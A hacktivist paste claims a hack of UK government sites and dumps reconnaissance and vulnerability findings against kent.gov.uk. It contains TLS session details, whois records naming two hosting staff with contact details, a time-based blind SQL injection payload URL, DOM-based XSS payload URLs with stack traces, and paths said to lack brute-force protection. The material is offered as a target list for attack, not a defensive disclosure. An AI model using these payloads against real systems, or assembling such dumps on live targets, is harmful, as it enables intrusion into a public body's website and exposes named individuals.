#OpUk gov.uk hacked By Team IHC

#Team IHC #OpUk

(+)kent.gov.uk:

SSL Certificate:

CONNECTED(00000003)
depth=0 /C=AU/ST=New South Wales/L=Sydney/O=Squiz Pty Ltd/CN=*.squizedge.net
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 /C=AU/ST=New South Wales/L=Sydney/O=Squiz Pty Ltd/CN=*.squizedge.net
verify error:num=27:certificate not trusted
verify return:1
depth=0 /C=AU/ST=New South Wales/L=Sydney/O=Squiz Pty Ltd/CN=*.squizedge.net
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
0 s:/C=AU/ST=New South Wales/L=Sydney/O=Squiz Pty Ltd/CN=*.squizedge.net
  i:/C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G2
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFsTCCBJmgAwIBAgIQPcEG6bFdZcejnCG/DVkH4TANBgkqhkiG9w0BAQsFADBE
MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMU
R2VvVHJ1c3QgU1NMIENBIC0gRzIwHhcNMTQwNTI4MDAwMDAwWhcNMTYwNTI3MjM1
OTU5WjBqMQswCQYDVQQGEwJBVTEYMBYGA1UECBMPTmV3IFNvdXRoIFdhbGVzMQ8w
DQYDVQQHFAZTeWRuZXkxFjAUBgNVBAoUDVNxdWl6IFB0eSBMdGQxGDAWBgNVBAMU
Dyouc3F1aXplZGdlLm5ldDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
AJUDzE2uadWk2IyOIPdOA6YYFafdrX+sODC/pGqNABA4/1FuVhOKzX2plbc/3nri
4RLP0yQ2lDxcKMEgdN5B9I4U32xdn8xkhIYzDbEJODCV2u/WZ9cZQ4VIyZRBOar6
Sax5Pq4gx3fjLWk5p9jxEpxoLVafVBBdgikw9vREjLHqEpy/5TYTFADJSGi3QmW1
h9zMTT+sOiTZdZYaE4llZ388Fbm/u53JkBVONFXBIK/r3JAtz/kygZh0kjcEleSe
sUd2dlsRmc7s73vlBPfqQ1wAOCyGoTlXeVQ3rKGjVEH9KphymtSfO1W/uZtHTrhp
Wt/eCwmIqivU36mILqhSgq8x9NCT5t4g5ftYoSp8r7EAPl2cGjE+OuKRryEVXSh0
y7PjchrQmBGLR2N1gP4POM+ulCJ8qyg0LwNs5yuhieQn4Q8sGIHZ8cdhrfmJF9HT
nw7k9fbBn1rzZs5N5+cuelbTWaSts7yqmWYiWJk8C2SMjgpTaz/gTOSygSzINQdr
wMH/e6FrycphJXc98nTWK2lUQUzmjNkvoJEhrNFrRtglZLhqdzAn5KPo6vOqntJn
fZ0vjQsEv3Ogzwec2ih4TP/156UDY3+HCWunmNto/ZLzSiFgEowenxoCjGKN0bJ/
iBs+UeUu5NweHWsTAlKKE81iolFkS6MaAbf9YnHbG0CBAgMBAAGjggF3MIIBczAp
BgNVHREEIjAggg8qLnNxdWl6ZWRnZS5uZXSCDXNxdWl6ZWRnZS5uZXQwCQYDVR0T
BAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2di
LnN5bWNiLmNvbS9nYi5jcmwwZQYDVR0gBF4wXDBaBgpghkgBhvhFAQc2MEwwIwYI
KwYBBQUHAgEWF2h0dHBzOi8vZC5zeW1jYi5jb20vY3BzMCUGCCsGAQUFBwICMBkW
F2h0dHBzOi8vZC5zeW1jYi5jb20vcnBhMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggr
BgEFBQcDAjAfBgNVHSMEGDAWgBQRStBzOdVbaQhcuj2/ZJqoixxVvDBXBggrBgEF
BQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nYi5zeW1jZC5jb20wJgYIKwYB
BQUHMAKGGmh0dHA6Ly9nYi5zeW1jYi5jb20vZ2IuY3J0MA0GCSqGSIb3DQEBCwUA
A4IBAQBbgYxNjqmz//c8hYpZqOuVRlsIDtOrRAADot7hlSjBT8xhM6EdcxB11mE4
7xeogF5nxS4a3P8pnZlB/iutbRu5IWay+xSdvdcQgZDF0oeVUzQE0/mkyQfZnVWn
8LiIniTQ6vFiBzGMo82PfGfUAU9clps3cHWEwC8eK0+fKZUW22zzATub1YAAuWw4
sfDYHois5k1XmP5vXaXHTPLIz2MnJKiD83IlnawVSBt9vh2KJseXoYOeLyMYn1Ax
Qrf/aLzSN6D14amXmnhJ3tZ5k/oFb9w/7OnP85gUKF7uDWm6VyfchPJhA/T6wvk6
ZfHq1cHtFDa8gxmPzNKPvevuFyrh
-----END CERTIFICATE-----
subject=/C=AU/ST=New South Wales/L=Sydney/O=Squiz Pty Ltd/CN=*.squizedge.net
issuer=/C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G2
---
No client certificate CA names sent
---
SSL handshake has read 1630 bytes and written 703 bytes
---
New, TLSv1/SSLv3, Cipher is AES128-SHA
Server public key is 4096 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES128-SHA
    Session-ID: A48D88170A718C95BC8719DBF28BE6C4DAFCE7B840649CF95B3EEC046E870463
    Session-ID-ctx:
    Master-Key: 76EE4739599019D08F0C900AFBA8DA468885F13E010AFA698D42BF3DC04A43D21ADD1C006CAAAF92A725439F48CC17AB
    Key-Arg  : None
    Start Time: 1414918261
    Timeout  : 300 (sec)

http://www.kent.gov.uk/

inetnum:        176.65.66.0 - 176.65.66.255
netname:        TBSH-CLIENT-SQUIZ-UK
descr:          TBSH Client Network - Squiz-UK - Ash routed 4
country:        GB
admin-c:        BR2458-RIPE
admin-c:        SM16671-RIPE
tech-c:         BR2458-RIPE
tech-c:         SM16671-RIPE
status:         ASSIGNED PA
mnt-by:         BUNKER-MNT
source:         RIPE # Filtered

person:         Bill Rafferty
address:        Squiz UK Ltd
address:        Zetland House
address:        109 - 123 Clifton St
address:        London
address:        EC2A 4LD
phone:          +44 2071 018300
nic-hdl:        BR2458-RIPE
source:         RIPE # Filtered
mnt-by:         BUNKER-MNT

person:         Stephen Morgan
address:        Squiz UK Ltd
address:        Zetland House
address:        109 - 123 Clifton St
address:        London
address:        EC2A 4LD
phone:          +44 2071 018300
nic-hdl:        SM16671-RIPE
source:         RIPE # Filtered
mnt-by:         BUNKER-MNT

% Information related to '176.65.64.0/22AS24958'

route:          176.65.64.0/22
descr:          The Bunker Secure Hosting Ltd - Allocation 4 Part 1
origin:         AS24958
mnt-by:         BUNKER-MNT
source:         RIPE # Filtered

Blind SQL Injection on: /business/if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*//consumer-protection/consumer-alerts/trading-standards-alert-chatham-and-clarendon-grammar-school,-ramsgate-crowned-young-consumers-of-the-year-2014

DOM-based cross site scripting: /business/trading-standards/trading-standards-business-advice/business-advice-by-topic/business-advice

Location: http://www.kent.gov.uk/business/trading-standards/trading-standards-business-advice/business-advice-by-topic/business-advice?wvstest=javascript:domxssExecutionSink(1,"<br>()locxss")frmClient=javascript:domxssExecutionSink(1,"<br>()locxss")frmItemID=javascript:domxssExecutionSink(1,"<br>()locxss")frmShared=javascript:domxssExecutionSink(1,"<br>()locxss")&

Execution Sink: document.write
HTML code written:

frmClient=javascript:domxssExecutionSink(1,"<br>()locxss")frmItemID=javascript:domxssExecutionSink(1,"<br>()locxss")frmShared=javascript:domxssExecutionSink(1,"<br>()locxss") ...Stack Trace:
    at http://www.kent.gov.uk/business/trading-standards/trading-standards-business-advice/business-advice-by-topic/business-advice?wvstest=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)frmClient=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)frmItemID=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)frmShared=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)&:193

- and

/business/trading-standards/trading-standards-business-advice/business-advice-by-topic/business-advice

Location: http://www.kent.gov.uk/business/trading-standards/trading-standards-business-advice/business-advice-by-topic/business-advice?wvstest=javascript:domxssExecutionSink(1,"<br>()locxss")frmClient=javascript:domxssExecutionSink(1,"<br>()locxss")frmItemID=javascript:domxssExecutionSink(1,"<br>()locxss")frmShared=javascript:domxssExecutionSink(1,"<br>()locxss")&

Execution Sink: document.write
HTML code written:

&frmItemID=javascript:domxssExecutionSink(1,"<br>()locxss")frmShared=javascript:domxssExecutionSink(1,"<br>()locxss") ...Stack Trace:
    at http://www.kent.gov.uk/business/trading-standards/trading-standards-business-advice/business-advice-by-topic/business-advice?wvstest=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)frmClient=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)frmItemID=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)frmShared=javascript:domxssExecutionSink(1,%22%3Cbr%3E()locxss%22)&:194

Login-page withput any protection aganst password-guessing attack (brute-froce):

/_designs/news/
/_media/
/_media/kcc/
/_media/kcc/documents
/leisure-and-community/youth-centres-and-projects/youth-centres